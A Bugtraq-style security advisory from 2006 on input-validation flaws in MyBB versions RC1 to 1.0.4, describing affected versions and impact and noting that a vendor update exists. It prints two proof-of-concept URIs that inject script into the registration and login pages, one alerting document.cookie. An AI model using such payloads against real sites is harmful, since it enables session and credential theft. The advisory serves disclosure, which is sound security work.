MyBB Multiple Input Validation Vulnerabilities

BID:17097

Info

MyBB Multiple Input Validation Vulnerabilities

Bugtraq ID: 17097
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 14 2006 12:00AM
Updated: Mar 16 2006 06:10AM
Credit: imei is credited with the discovery of these vulnerabilities.
Vulnerable: MyBulletinBoard MyBulletinBoard 1.0.4
MyBulletinBoard MyBulletinBoard 1.0.3
MyBulletinBoard MyBulletinBoard 1.0.2
MyBulletinBoard MyBulletinBoard 1.0.1
MyBulletinBoard MyBulletinBoard 1.0 PR2
MyBulletinBoard MyBulletinBoard 1.0
MyBulletinBoard MyBulletinBoard RC4
MyBulletinBoard MyBulletinBoard RC3
MyBulletinBoard MyBulletinBoard RC2
MyBulletinBoard MyBulletinBoard RC1
Not Vulnerable:

Discussion

MyBB Multiple Input Validation Vulnerabilities

MyBB is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, or to misrepresent how HTML content is cached, served, or interpreted; other attacks are also possible.

Exploit / POC

MyBB Multiple Input Validation Vulnerabilities

This issue can be exploited via a web client.

The following proof-of-concept URIs are available:
HTML injection:
http://www.example.com/mybb/member.php?username=blab&password=blabblab &password2=blabblab &[email protected]&&[email protected]&imagestring=[fill here if needed]&imagehash=[fill here if needed]&action=do_register&yahoo=%3C script%3E alert(document.cookie)%3C/script %3E&regsubmit=register me mybb:D

Cross-site scripting:
http://www.example.com/mybb/member.php?action=do_login&username=imei&password=doyouneedmine&url=â?><script>alert(1)</script><!â??

Solution / Fix

MyBB Multiple Input Validation Vulnerabilities

Solution:

The vendor has released an update to address these issues. Contact the vendor for further information.

References

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